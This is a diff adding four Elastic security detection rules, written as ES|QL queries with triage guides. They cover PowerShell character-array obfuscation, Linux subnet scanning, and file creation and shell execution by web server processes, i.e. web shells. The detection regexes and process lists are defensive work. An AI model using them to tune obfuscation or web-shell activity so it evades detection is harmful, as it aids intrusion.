a/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_4.json b/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_4.json new file mode 100644 index 00000000000..c29736ee24d --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/85e2d45e-a3df-4acf-83d3-21805f564ff4_4.json @@ -0,0 +1,143 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use character arrays and runtime string reconstruction as a form of obfuscation. This technique breaks strings into individual characters, often using constructs like char[] with index-based access or joining logic. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Character Array Reconstruction", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Character Array Reconstruction\n\nPowerShell, a powerful scripting language, is often targeted by adversaries for obfuscation to bypass security measures. By reconstructing strings from character arrays, attackers evade static analysis and detection. The detection rule identifies scripts using such obfuscation by searching for patterns indicative of character array manipulation, thus flagging potential threats for further investigation.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and intent of the script, focusing on the obfuscated parts indicated by the presence of the \"char\" keyword and the \ud83d\udd25 character.\n- Examine the file.path and host.name fields to determine the origin and location of the script execution, which can provide context about the environment and potential risk.\n- Check the user.id and agent.id fields to identify the user and agent responsible for executing the script, which can help assess whether the activity is expected or suspicious.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and correlate it with other related script blocks, providing a broader view of the script's behavior.\n- Investigate the count field to assess the extent of obfuscation, as a higher count may indicate more complex or extensive obfuscation techniques being used.\n\n### False positive analysis\n\n- Scripts used for legitimate administrative tasks may use character arrays for performance optimization or to handle special characters. Review the script's purpose and context to determine if it aligns with known administrative functions.\n- PowerShell scripts from trusted sources or vendors might use character arrays for legitimate obfuscation to protect intellectual property. Verify the script's origin and check for digital signatures or hashes to confirm authenticity.\n- Automated scripts generated by development tools or frameworks could include character array manipulation as part of their standard output. Identify and whitelist these tools if they are commonly used in your environment.\n- Security tools or monitoring solutions might use character arrays in their scripts for legitimate purposes. Cross-reference with known security software and consider excluding these from the detection rule if they are verified as safe.\n- Regularly update the exclusion list to include new trusted scripts or tools as they are introduced into the environment, ensuring that legitimate activities are not flagged as false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further spread of potentially malicious scripts or unauthorized access.\n- Terminate any suspicious PowerShell processes identified by the alert to halt ongoing obfuscation activities.\n- Conduct a thorough review of the script block text and associated logs to identify any malicious payloads or commands executed.\n- Remove any identified malicious scripts or files from the affected system to prevent re-execution.\n- Reset credentials for any user accounts involved in the alert to mitigate potential credential compromise.\n- Update endpoint protection and ensure that AMSI and other security features are fully enabled and configured to detect similar threats.\n- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems are affected.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter for scripts that contain the \"char\" keyword using MATCH, boosts the query performance\n| where powershell.file.script_block_text : \"char\"\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"(char\\[\\]\\]\\(\\d+,\\d+[^)]+|(\\s?\\(\\[char\\]\\d+\\s?\\)\\+){2,})\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "85e2d45e-a3df-4acf-83d3-21805f564ff4", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "85e2d45e-a3df-4acf-83d3-21805f564ff4_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_7.json b/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_7.json new file mode 100644 index 00000000000..db37640e418 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/860f2a03-a1cf-48d6-a674-c6d62ae608a1_7.json @@ -0,0 +1,87 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Subnet Scanning Activity from Compromised Host", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Subnet Scanning Activity from Compromised Host\n\nSubnet scanning is a reconnaissance method used by attackers to map network topology and identify active hosts. Adversaries exploit compromised hosts to perform these scans, seeking vulnerabilities for further attacks. The detection rule identifies such activity by monitoring Linux hosts for numerous connection attempts to different IPs within a short period, indicating potential scanning behavior. This helps in early detection and mitigation of network threats.\n\n### Possible investigation steps\n\n- Review the process executable identified in the alert to determine if it is a known or legitimate application that should be making network connections.\n- Examine the destination IP addresses to identify any patterns or known malicious IPs, and check if these IPs are part of the organization's network or external.\n- Investigate the specific host (using the agent.id) to assess if there are any signs of compromise, such as unusual processes or unauthorized access.\n- Correlate the event timestamp with other logs or alerts to identify any concurrent suspicious activities or anomalies on the host.\n- Check for any recent changes or updates on the host that might explain the scanning behavior, such as new software installations or configuration changes.\n\n### False positive analysis\n\n- High-volume legitimate network monitoring tools may trigger the rule. Identify and exclude these tools by adding their process executables to an exception list.\n- Automated backup systems that connect to multiple hosts within a short timeframe can be mistaken for scanning activity. Review and exclude these systems by their process executable or agent ID.\n- Security software performing routine network health checks might generate false positives. Verify these activities and create exceptions based on the specific process executable involved.\n- Internal IT scripts or administrative tasks that involve connecting to numerous hosts for maintenance purposes can trigger alerts. Document these tasks and exclude them by process executable or agent ID.\n- Cloud-based services or applications that require frequent connections to various hosts for functionality may appear as scanning. Identify these services and exclude them by their process executable or agent ID.\n\n### Response and remediation\n\n- Isolate the compromised host immediately from the network to prevent further scanning and potential lateral movement by the attacker.\n- Terminate any suspicious processes identified by the executable name in the alert to stop ongoing scanning activities.\n- Conduct a thorough examination of the compromised host to identify and remove any malware or unauthorized access tools that may have been installed.\n- Reset credentials and review access permissions for the compromised host to ensure no unauthorized access persists.\n- Update and patch the compromised host and any other vulnerable systems identified during the investigation to close security gaps.\n- Monitor network traffic closely for any signs of continued scanning or other suspicious activities from other hosts, indicating potential further compromise.\n- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if additional hosts are affected.\n", + "query": "from logs-endpoint.events.network-*\n| keep @timestamp, host.os.type, event.type, event.action, process.executable, destination.ip, agent.id, host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"connection_attempted\" and\n not (\n process.executable in (\"/usr/local/bin/prometheus\", \"/app/extra/chrome\") or\n process.executable like \"/usr/local/prometheus/*/prometheus\" or\n process.executable like \"/usr/share/elastic-agent/*\" or\n process.executable like \"/var/lib/docker/overlay*connectord\" or\n process.executable like \"/opt/rumble/bin/rumble-agent*\" or\n process.executable like \"/opt/gitlab/*\" or\n process.executable like \"/opt/google/chrome/chrome*\"\n )\n| stats\n Esql.event_count = count(),\n Esql.destination_ip_count_distinct = count_distinct(destination.ip),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.destination_ip_count_distinct > 250\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.destination_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "860f2a03-a1cf-48d6-a674-c6d62ae608a1", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1046", + "name": "Network Service Discovery", + "reference": "https://attack.mitre.org/techniques/T1046/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "860f2a03-a1cf-48d6-a674-c6d62ae608a1_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_5.json b/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_5.json new file mode 100644 index 00000000000..9a1c03b09c6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/894b7cc9-040b-427c-aca5-36b40d3667bf_5.json @@ -0,0 +1,133 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "This rule detects unusual file creations from a web server parent process. Adversaries may attempt to create files from a web server parent process to establish persistence, execute malicious scripts, or exfiltrate data. ES|QL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual File Creation by Web Server", + "query": "from logs-endpoint.events.file-*\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n user.name,\n user.id,\n process.name,\n process.executable,\n file.path,\n agent.id,\n host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"change\" and\n event.action in (\"rename\", \"creation\") and (\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\")\n ) and (\n process.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n process.name like \"php-*\" or\n process.name like \"python*\" or\n process.name like \"ruby*\" or\n process.name like \"perl*\"\n )\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable, file.path\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count < 5\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "894b7cc9-040b-427c-aca5-36b40d3667bf", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Rule Type: BBR" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1505", + "name": "Server Software Component", + "reference": "https://attack.mitre.org/techniques/T1505/", + "subtechnique": [ + { + "id": "T1505.003", + "name": "Web Shell", + "reference": "https://attack.mitre.org/techniques/T1505/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "894b7cc9-040b-427c-aca5-36b40d3667bf_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_7.json b/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_7.json new file mode 100644 index 00000000000..08b7cf0bfdc --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_7.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual Command Execution from Web Server Parent", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Command Execution from Web Server Parent\n\nWeb servers, such as Apache or Nginx, are crucial for hosting web applications, often running on Linux systems. Adversaries exploit vulnerabilities in these servers to execute arbitrary commands, typically through web shells, blending malicious activity with legitimate server processes. The detection rule identifies suspicious command executions originating from web server processes, focusing on unusual patterns and contexts, such as unexpected working directories or command structures, to flag potential compromises.\n\n### Possible investigation steps\n\n- Review the process.command_line field to understand the specific command executed and assess its legitimacy or potential malicious intent.\n- Examine the process.working_directory to determine if the command was executed from an unusual or suspicious directory, which could indicate a compromise.\n- Check the process.parent.executable and process.parent.name fields to identify the parent process and verify if it is a known web server or related service that could be exploited.\n- Investigate the user.name and user.id fields to confirm if the command was executed by a legitimate user or service account, or if it was potentially executed by an unauthorized user.\n- Correlate the @timestamp with other logs and events to identify any related activities or anomalies occurring around the same time, which could provide additional context or evidence of an attack.\n- Assess the agent.id to determine if the alert is isolated to a single host or if similar activities are observed across multiple hosts, indicating a broader issue.\n\n### False positive analysis\n\n- Web development or testing environments may frequently execute commands from web server processes. To handle this, exclude specific working directories like /var/www/dev or /var/www/test from the rule.\n- Automated scripts or cron jobs running under web server user accounts can trigger alerts. Identify these scripts and add exceptions for their specific command lines or user IDs.\n- Legitimate administrative tasks performed by web server administrators might appear suspicious. Document these tasks and exclude their associated command lines or parent executables.\n- Continuous integration or deployment processes that involve web server interactions can be mistaken for threats. Exclude known CI/CD tool command lines or working directories from the rule.\n- Monitoring or logging tools that interact with web server processes may generate false positives. Identify these tools and exclude their specific process names or parent executables.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. This can be done by removing the host from the network or applying network segmentation.\n\n- Terminate any suspicious processes identified by the detection rule, especially those originating from web server parent processes executing shell commands. Use process IDs and command lines from the alert to target specific processes.\n\n- Conduct a thorough review of the web server logs and application logs to identify any unauthorized access or modifications. Look for patterns that match the command execution detected and any other anomalies.\n\n- Patch the web server and any associated applications to address known vulnerabilities that may have been exploited. Ensure that all software is up to date with the latest security patches.\n\n- Restore the affected system from a known good backup if any unauthorized changes or persistent threats are detected. Ensure that the backup is free from compromise before restoration.\n\n- Implement additional monitoring and alerting for similar activities, focusing on unusual command executions and web server behavior. Enhance logging and alerting to capture more detailed information about process executions and network connections.\n\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. Provide them with all relevant data and findings from the initial containment and remediation steps.\n", + "query": "from logs-endpoint.events.process-*\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n process.parent.name,\n user.name,\n user.id,\n process.working_directory,\n process.name,\n process.command_line,\n process.parent.executable,\n agent.id,\n host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"exec\" and (\n (\n process.parent.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\") or\n process.working_directory like \"/var/www/*\"\n ) or\n (\n (\n process.parent.name like \"php-*\" or\n process.parent.name like \"python*\" or\n process.parent.name like \"ruby*\" or\n process.parent.name like \"perl*\"\n ) and (\n process.working_directory like \"/var/www/*\" or\n process.working_directory like \"/srv/www/*\" or\n process.working_directory like \"/usr/share/nginx/*\"\n )\n )\n ) and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\n process.command_line like \"* -c *\" and not (\n process.working_directory like \"/home/*\" or\n process.working_directory == \"/\" or\n process.working_directory like \"/vscode/vscode-server/*\" or\n process.parent.executable like \"/vscode/vscode-server/*\" or\n process.parent.executable == \"/usr/bin/xfce4-terminal\"\n )\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.command_line, process.working_directory, process.parent.executable\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count < 5\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.working_directory", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1505", + "name": "Server Software Component", + "reference": "https://attack.mitre.org/techniques/T1505/", + "subtechnique": [ + { + "id": "T1505.003", + "name": "Web Shell", + "reference": "https://attack.mitre.org/techniques/T1505/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_7", + "type": "security-rule" +} \ No newline at end of file diff --git 